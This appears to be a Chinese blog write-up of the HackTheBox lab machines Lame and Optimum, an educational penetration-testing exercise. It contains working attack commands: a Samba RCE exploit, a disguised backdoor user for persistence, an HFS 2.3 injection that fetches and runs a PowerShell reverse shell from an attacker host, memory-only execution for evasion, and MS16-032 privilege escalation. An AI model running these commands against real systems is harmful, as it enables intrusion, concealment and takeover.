本文最后更新于:星期二, 六月 16日 2020, 2:25 下午

HacktheBox上靶机的实战渗透,这是我第一次尝试靶机的渗透攻击,做了两个比较简单的靶机Lame和Optimum

0x01 前言

寒假总算是到了,想利用寒假的时间学习一下渗透测试方面的相关知识,听大哥推荐HacktheBox是个不错的网站,寒假就刷刷这个网站的靶机,整挺好。

为了能够看到官方的教程,还有一些离线的靶机以及更好的网络环境,建议整个VIP(原来是10欧好像,汇率转过来才70+,现在变成10英镑了,要90+一个月,有点肉疼,难道是英国脱欧的关系??)

一开始先从最简单的靶机入手吧,这个LAMB看起来评分不低,难度也偏低,就玩一玩这个吧

0x02 Lame

信息收集

挂上openvpn,靶机IP是10.10.10.3,先用nmap扫一扫端口看看情况

namp -sV 10.10.10.3

可以看到139和445端口有samba服务,那我们以samba为突破口来看看,在msf中调用search samba,搜索一下有关samba的一些模块工具,然后找到一个exploit/multi/samba/usermap_script,它是一个基于CVE-2007-2447的payload,可以实现RCE,我们看看该CVE的信息,适用于samba3.0.20 - 3.0.25rc3

CVE-2007-2447

攻击

接下来就跑一跑这个payload,设置好RHOSTS,直接一把梭…然后,就没有然后了

然后想到关于权限维持的一些问题,想着就在这台靶机上尝试一下

权限维持

如果是实战渗透的情况下难免要考虑到权限维持的问题,我们这台靶机的RCE打过去是直接拿到了root权限,那么这时候权限维持是比较简单的。

首先先给自己添加一个用户,用户名最好取得比较像一些服务的名称,比如mysq1之类的,比较不容易被发现

添加用户的命令:useradd mysq1,然后修改一下密码:passwd mysq1,再把这个用户加入到sudo用户组里去:groups -a -G sudo mysq1,这样就可以用ssh连接到这个用户,并具有sudo权限了

最后去/root下看看root.txt文件,user.txt文件在/home/makis文件夹下,提交一下,这道题就算是做完了

总结

这道题的难度,基本上属于没有吧,就是让像我这样的新手熟练一下msf、nmap、linux下的各种操作,那还是继续整整下一道题

0x03 Optimum

这道题难度好像有提高一些,不过还是属于简单题,是一个基于Windows的靶机,有一说一基于Windows的题目其实我基本没怎么做过,借这个机会学习一下关于Windows的一些知识

信息收集

照例nmap扫描一下端口信息,结果只扫到了80端口,上面搭载的是一个HttpFileServer

访问一下10.10.10.8,是一个rejetto的HttpFileServer,版本是2.3

尝试在msf上搜索一下HttpFileServer,搜到唯一的一个payload

仔细一看,这就是rejetto的一个RCE payload,info看看详细信息

巧了,刚好就适用于HFS2.3(捂脸

攻击

又是设置好RHOSTS一把梭,索然无味,这个payload的弹回了一个meterpreter shell,meterpreter好像有一套属于自己的shell语法,恰好学习一下

  1. 首先我们需要隐藏自己,migrate <pid>命令可以将meterpreter会话从一个单独的进程移植到另一个进程的内存空间中(默认的reserve_tcp shell是x32的,可以利用这个命令将会话附加到x64的进程上,将内存空间扩展为x64)

  2. 接下来,我希望能够调用目标机器上的cmd,并且不被目标机器的使用者发现,可以执行以下命令:execute -H -i -f cmd.exe,这样可以让目标主机的cmd以隐藏方式交互到meterpreter会话上

  3. 除此之外,可以使目标主机在内存中直接执行攻击主机上的攻击程序,避免攻击程序被存储到目标主机硬盘上被发现或被查杀:execute -H -m -d notepad.exe -f wce.exe -a "-o wce.txt",其中:

    -d:在目标主机执行时显示的进程名称(用于伪装)

    -m:直接从内存中执行

    “-o wce.txt”:是wce.exe的运行参数

  4. getuid命令可以获取当前的用户,sysinfo可以获取当前系统的信息

权限提升

攻击完毕之后,我们获得的是一个低权限的用户,想要获取windows上的最高权限,也就是获得Administrator的控制权,就需要做权限的提升,于是我们先执行sysinfo获取系统信息

可以看到当前的系统为Windows 2012 R2,x64,但是我们的meterpreter是x86的,我们可以将其migrate到一个x64的进程上,将其变成x64的

接下来可以使用MS16-032的本地提权漏洞,use exploit/windows/ms16_032_secondary_logon_handle_privesc,设置好SESSION与TARGET,并且记得将payload设置为x64的meterpreter,即set payload windows/x64/meterpreter/reserve_tcp(但是最后我并没有用msf成功进行提权,反复尝试,session总是没有建立起来)

非MSF解法(PowerShell)

这个靶机Optimum的制作者录制了一个教程视频,其中包含了非利用MSF的解法,从中学到了不少东西,故记录一下。

首先,是关于HFS2.3 CVE-2014-6287的复现,其实这个漏洞原理比较简单,就是使用空字节%00截断搜索框的搜索条件,然后可以使用其内部的脚本语言执行命令,脚本语言的格式类似于模板语言,用{.script.}包裹脚本语言便可以执行,整个流程比较类似于模板注入。

例如,在搜索框中输入%00{.exec|ping 10.10.10.14.6.}就可以让靶机执行ping命令

知道了怎么让靶机执行命令,我们可以尝试弹一个shell回来,方便我们进行下一步的渗透,教程中使用的是利用Powershell进行反弹shell,反弹shell的脚本在以下链接中可以找到:https://github.com/samratashok/nishang

除此之外还有一个需要注意的点,就是我们的命令执行语句并不直接使用{.exec|powershell xxx.ps1.}因为这样子调用的powershell是x86版本的,所以我们要使用绝对路径来调用powershell,这里靶机作者提到了一个误区:

很多人认为 C:\Windows\System32\ 中的Library是32位的,而C:\Windows\SysWow64\ 中的Library是64位的,但这是不对的,SysWow64中的Library仍然是32位的,而C:\Windows\SysNative\ 中的Library才是64位的

所以最后我们的攻击步骤如下:

  1. https://github.com/samratashok/nishang 中的代码clone下来之后,在Shells文件夹中找到Invoke-PowerShellTcp.ps1,在最后一行加上Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 2333
  2. 在当前目录下用python3 -m http.server启动一个简易的服务器
  3. 另起一个shell执行nc -lnvp 2333接收反弹shell
  4. 在搜索框中执行%00{.exec|C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.6:8000/Invoke-PowerShellTcp.ps1').}(记得URL编码)

执行完以上步骤之后,nc就可以接收到反弹回来的shell了

接下来仍旧是权限提升的问题。

首先我们需要用到一个脚本Sherlock.ps1,这个脚本可以在github上面找到:https://github.com/rasta-mouse/Sherlock

这个脚本可以用于在PowerShell上探测本机存在的一些漏洞,用grep -i function Sherlock.ps1可以搜索出其中定义的所有函数,我们需要使用到其中的Find-AllVulns,照例在脚本的最后一行加上这句话,然后用python启动简易服务器,在靶机上执行IEX(New-Object Net.WebClient).downloadString('http://127.0.0.1:8000/Sherlock.ps1')

运行结果如下:

可以看到,靶机上是存在着一些漏洞的,我们利用MS16-032来做一个权限的提升

https://github.com/EmpireProject/Empire 找到权限提升脚本,在目录/data/module_source/privesc下找到Invoke-MS16032.ps1,参照其中说明的用法,在末尾行上插入:Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.6:8000/shell.ps1')"

该脚本的作用就是利用MS16-032漏洞,使用system权限执行-Command后面的语句,那我们利用system权限反弹一个shell,这个shell的权限也就是system。命令中的shell.ps1我们可以直接复制之前的ReserveTcp.ps1,反弹一个shell用nc接收

最后,在靶机上执行IEX(New-Object Net.WebClient).downloadString('http://10.10.14.6:8000/Invoke-MS16032.ps1')等待脚本执行即可